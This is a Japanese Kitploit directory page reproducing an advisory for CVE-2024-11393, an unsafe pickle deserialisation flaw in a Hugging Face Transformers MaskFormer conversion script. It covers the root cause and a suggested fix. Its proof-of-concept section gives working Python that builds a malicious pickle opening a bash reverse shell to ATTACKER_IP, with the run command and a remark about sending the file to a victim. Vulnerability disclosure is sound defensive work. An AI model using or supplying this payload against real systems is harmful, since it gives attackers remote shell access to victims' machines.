Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2024-11393 — CVE-2024-11393 の技術的詳細とエクスプロイト | Kitploit
ツール/GitHubGitHub/piyush-bhor/cve-2024-11393
脆弱性分析コード分析エクスプロイト学習と教育ペイロード開発バイナリエクスプロイト
GitHubpiyush-bhor/cve-2024-11393

CVE-2024-11393

CVE-2024-11393 の技術的詳細とエクスプロイト

リポジトリを見る
411年前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2024-11393

Hugging Face Transformers MaskFormer モデルにおける信頼されないデータの非直列化によるリモートコード実行の脆弱性

脆弱性の概要と影響:
この脆弱性により、攻撃者は悪意のある maskformer resnet チェックポイントファイルをHugging Face Transformersリポジトリの convert_maskformer_swin_to_pytorch.py スクリプトに渡すことで、ホストマシン上で任意のコードを実行できます。
被害者がサードパーティ製の maskformer resnet チェックポイントファイルを使用し、 convert_maskformer_swin_to_pytorch.py スクリプトを実行すると、被害者のシステム上でリモートコード実行(RCE)につながります。

影響を受ける製品

  • 製品: Hugging Face Transformers
  • モジュール: Maskformer
  • ファイル: transformers/src/transformers/models/maskformer/convert_maskformer_swin_to_pytorch.py
  • バージョン: 最新版
  • GitHub パーマリンク: https://github.com/huggingface/transformers/blob/c8c8dffbe45ebef0a8dba4a51024e5e5e498596b/src/transformers/models/maskformer/convert_maskformer_swin_to_pytorch.py#L240

根本原因分析

  • 脆弱性の詳細な説明: この脆弱性は、信頼されないデータの安全でない非直列化に起因します。このスクリプトは pickle.load を使用してチェックポイントファイルを読み込むため、コード実行に対して脆弱です。

  • 入力から脆弱性発現までのコードフロー:

  1. ユーザーがサードパーティ製の maskformer モデルをダウンロードします。
  2. ユーザーが convert_maskformer_swin_to_pytorch.py スクリプトを実行し、チェックポイントファイルを渡します。
  3. convert_maskformer_swin_to_pytorch.py スクリプトがチェックポイントファイルを非直列化し、悪意のあるコードを実行します。
  • 注入ポイント: 脆弱性は pickle.load が呼び出される箇所で発生します。
    GitHub パーマリンク: https://github.com/huggingface/transformers/blob/c8c8dffbe45ebef0a8dba4a51024e5e5e498596b/src/transformers/models/maskformer/convert_maskformer_swin_to_pytorch.py#L240

  • 推奨される修正: pickle.load を yaml.safe_load(yaml_file) または json.load に置き換えて、任意のコードの実行を防ぎます。

  • 概念実証の実行手順:

  1. 被害者のシステム上にリバースシェルを作成する悪意のあるpickleファイル malicious.pkl を作成します:
root@kitploit:~
# exploit.py

import pickle  
import os   
  
class Exploit:  
    def __reduce__(self):  
        return (os.system, ('bash -i >& /dev/tcp/ATTACKER_IP/ATTACKER_PORT 0>&1',))  
  
malicious_data = pickle.dumps(Exploit())  
with open('malicious.pkl', 'wb') as f:  
    f.write(malicious_data)  
  
print("Malicious pickle file created successfully.")

注: ファイルを被害者に送信する前に、ATTACKER_IPとATTACKER_PORTを変更してください。

  1. convert_maskformer_swin_to_pytorch.py スクリプトを実行し、malicious.pkl ファイルを --checkpoint_path に渡します:
root@kitploit:~
> python convert_maskformer_swin_to_pytorch.py --checkpoint_path malicious.pkl --model_name maskformer-swin-tiny-ade --pytorch_dump_folder_path . --push_to_hub 

注: pytorch_dump_folder_path は任意のディレクトリに設定でき、model_name は任意のモデルに設定できます。

ソフトウェアダウンロードリンク:
https://github.com/huggingface/transformers/tree/main

ツールをダウンロード